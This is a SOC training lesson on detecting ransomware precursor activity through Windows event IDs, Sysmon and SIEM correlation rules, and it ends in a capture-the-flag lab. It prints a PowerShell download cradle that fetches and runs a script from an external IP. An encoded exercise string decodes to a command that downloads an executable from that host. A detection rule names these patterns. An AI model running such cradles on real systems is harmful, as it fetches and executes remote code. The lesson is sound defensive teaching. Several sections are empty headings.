SIEM Investigation: Detecting Ransomware Pre-Deployment Activity

Prerequisites

• COA-K002: MITRE ATT&CK for SOC Analysts
• COA-K003: Windows Event Log Investigation

Why This Lesson Matters

Ransomware is the highest-impact threat to most organisations. The good news: ransomware operators follow a predictable kill chain in the hours before deployment. Early detection — before the encryption stage — limits damage dramatically. This lesson maps the observable events of a ransomware pre-deployment operation to the Windows Event IDs and SIEM queries that surface them.

1. The Pre-Ransomware Kill Chain

Modern ransomware-as-a-service (RaaS) operations separate the initial access broker (IAB) from the ransomware operator. The overall sequence looks like this:

[IAB]  Initial access: phishing → macro → payload dropped
       ↓
[Operator]  Execution: PowerShell download cradle
       ↓
       Persistence: scheduled task or service installation
       ↓
       Credential access: LSASS dump or Kerberoasting
       ↓
       Discovery: domain enumeration, host/share discovery
       ↓
       Lateral movement: Pass-the-hash, RDP, SMB
       ↓
       Exfiltration: data staged and uploaded (double-extortion)
       ↓
       Impact: ransomware binary deployed and executed

The SOC window to intervene is stages 2–6. Stage 7 (encryption) is the point of no return.

2. Stage-by-Stage Detection Events

Stage 1 — Initial Access: Phishing + Macro Execution

Stage 2 — Execution: PowerShell Download Cradle

The most common execution pattern is an encoded PowerShell command that downloads and executes a second-stage payload:

# Typical download cradle (seen in the wild)
powershell.exe -WindowStyle Hidden -EncodedCommand JABmAGwAYQBnAD0AJAB0AHIAdQBlAA==
# Decoded: $flag=$true  (simplified example)

# More realistic cradle pattern
IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.5/stage2.ps1')

Detection signals: - Event 4688 / Sysmon 1: CommandLine contains -EncodedCommand, -WindowStyle Hidden, DownloadString, IEX, Invoke-Expression - Sysmon 3: outbound connection from powershell.exe to external IP

Stage 3 — Credential Access: LSASS Dump

# Detect LSASS access (requires Sysmon 10 configured)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
  Where-Object {$_.Id -eq 10 -and $_.Message -like "*lsass*"} |
  Select-Object TimeCreated,
    @{n='SourceImage'; e={($_.Message -split "SourceImage: ")[1].Split("`n")[0]}},
    @{n='GrantedAccess'; e={($_.Message -split "GrantedAccess: ")[1].Split("`n")[0]}}

Stage 4 — Discovery: Domain Enumeration

Discovery events are noisy individually but suspicious in bursts from the same host:

SIEM rule concept — discovery burst:

Count Sysmon Event 1 where Image = known recon tools
  OR CommandLine contains ("net user", "nltest", "Get-ADUser", "arp -a")
Over 5-minute sliding window
Per source host
Threshold: > 5 events → alert T1087 Discovery Burst

Stage 5 — Lateral Movement: Pass-the-Hash

Pass-the-hash (PtH) uses an NTLM hash instead of a plaintext password to authenticate. Detection:

Event 4624 — LogonType: 3 (Network)
  TargetUserName: Administrator
  WorkstationName: WS-042 (source is a workstation, unusual for admin auth)
  LogonProcess: NtLmSsp    ← NTLM used (not Kerberos)

Kerberos is the default protocol in AD environments. If a modern host authenticates with NTLM to a server in the same domain, it is suspicious — especially for privileged accounts.

Stage 6 — Pre-Encryption: File Staging & Exfiltration

Before deploying ransomware, operators exfiltrate data. Signs:

3. Decoding a Malicious PowerShell Command

When you find an -EncodedCommand in an event, decoding it is always your first action:

# The encoded value from the alert
ENCODED="JABmAGwAYQBnAD0AIgBQAFIARQBGAEkAWAB7AHQAZQBzAHQAfQAiAA=="

# Decode (Linux)
echo "$ENCODED" | base64 -d | iconv -f UTF-16LE -t UTF-8
# PowerShell uses UTF-16LE encoding for -EncodedCommand

# PowerShell decode (Windows)
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("JABmAG..."))

Important: PowerShell -EncodedCommand uses UTF-16LE, not UTF-8. A plain base64 -d on Linux will produce garbage — pipe through iconv -f UTF-16LE -t UTF-8.

4. SIEM Correlation Rule: Full Pre-Ransomware Chain

A composite rule that fires when multiple early-stage indicators occur from the same host within a 30-minute window:

# Pseudo-Sigma: Pre-ransomware activity composite
title: Pre-Ransomware Activity Chain
status: experimental
detection:
  selection_exec:
    EventID: 1           # Sysmon process creation
    CommandLine|contains|any:
      - '-EncodedCommand'
      - 'DownloadString'
      - 'IEX'
  selection_lsass:
    EventID: 10          # Sysmon process access
    TargetImage|endswith: 'lsass.exe'
  selection_persistence:
    EventID: 4698        # Scheduled task created
  condition: >
    (selection_exec and selection_lsass)
    or (selection_exec and selection_persistence)
  timeframe: 30m
  same_host: true
level: critical

5. Common Mistakes

Mistake 1: Not decoding the -EncodedCommand before closing an alert. Many analysts flag "encoded PowerShell" as suspicious but do not decode it. You must decode it — only the decoded content tells you what was actually executed.

Mistake 2: Treating lateral movement (Logon Type 3) as routine. Network logons from workstations to servers using admin credentials are common in poorly managed environments. The correct response is to establish a baseline and alert on deviations, not to suppress all Type 3 events.

Mistake 3: Missing the 30-minute pre-encryption window. Discovery and credential access events often precede ransomware deployment by 20–60 minutes. Time-windowed correlation rules that detect multiple early-stage events from the same host are the most reliable early-warning mechanism.

6. Practice Exercises

1. Decode this -EncodedCommand value and identify what the script does: JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMgAwAC4AMQAwADEALgA1AC8AcABhAHkAbABvAGEAZAAuAGUAeABlACIALAAiAEMAOgBcAFQAZQBtAHAAXAB1AHAAZABhAHQAZQAuAGUAeABlACIAKQA=

2. Your SIEM fires the following events from host WS-099 between 10:00 and 10:25:

3. 10:01 Sysmon 1: winword.exe → powershell.exe -EncodedCommand JABm...
4. 10:03 Sysmon 3: powershell.exe → 185.220.101.5:443
5. 10:07 Sysmon 10: access to lsass.exe with GrantedAccess 0x1410
6. 10:15 Event 4698: new scheduled task MicrosoftWindowsUpdateOrchestratorReport
7. 10:22 Event 4624 Type 3: Administrator → FileServer01 (NtLmSsp) Map each event to its ATT&CK technique and classify the overall alert severity.

7. Lab

Assessment mode: flag

challenge_spec_id: 368 — Ransomware initial access

A SIEM alert fired: "Possible ransomware precursor activity." You have a JSON log export from the endpoint's Sysmon and Security channels.

Task: 1. Locate the Sysmon Event 1 with an -EncodedCommand argument 2. Decode the base64 payload (UTF-16LE) 3. The decoded PowerShell script contains the flag in a comment line

8. Framework Alignment

9. Further Reading

• CISA — Ransomware Guide — https://www.cisa.gov/stopransomware — Official guidance and detection recommendations
• Ransomware Task Force Blueprint — Comprehensive industry report on the ransomware ecosystem
• VirusTotal YARA hunt — Search for PowerShell cradle patterns in recent submissions
• Sigma rule: powershell_download_cradle — Reference community detection rule

["Describe the seven-stage pre-ransomware kill chain and identify the SOC intervention window", "Decode a UTF-16LE base64-encoded PowerShell -EncodedCommand payload using iconv and identify what the script does", "Correlate Sysmon Events 1, 3, 10, and Windows Event 4698 from the same host within a 30-minute window and classify the alert severity using the pre-ransomware chain model"]

Prerequisites → Why this matters → Pre-ransomware kill chain overview → Stage-by-stage detection events (initial access, execution, credential access, discovery, lateral movement, exfiltration) → Decoding malicious PowerShell commands (UTF-16LE base64) → SIEM correlation rule design → Common mistakes → Practice exercises → Lab (flag, spec 368) → Framework alignment → Further reading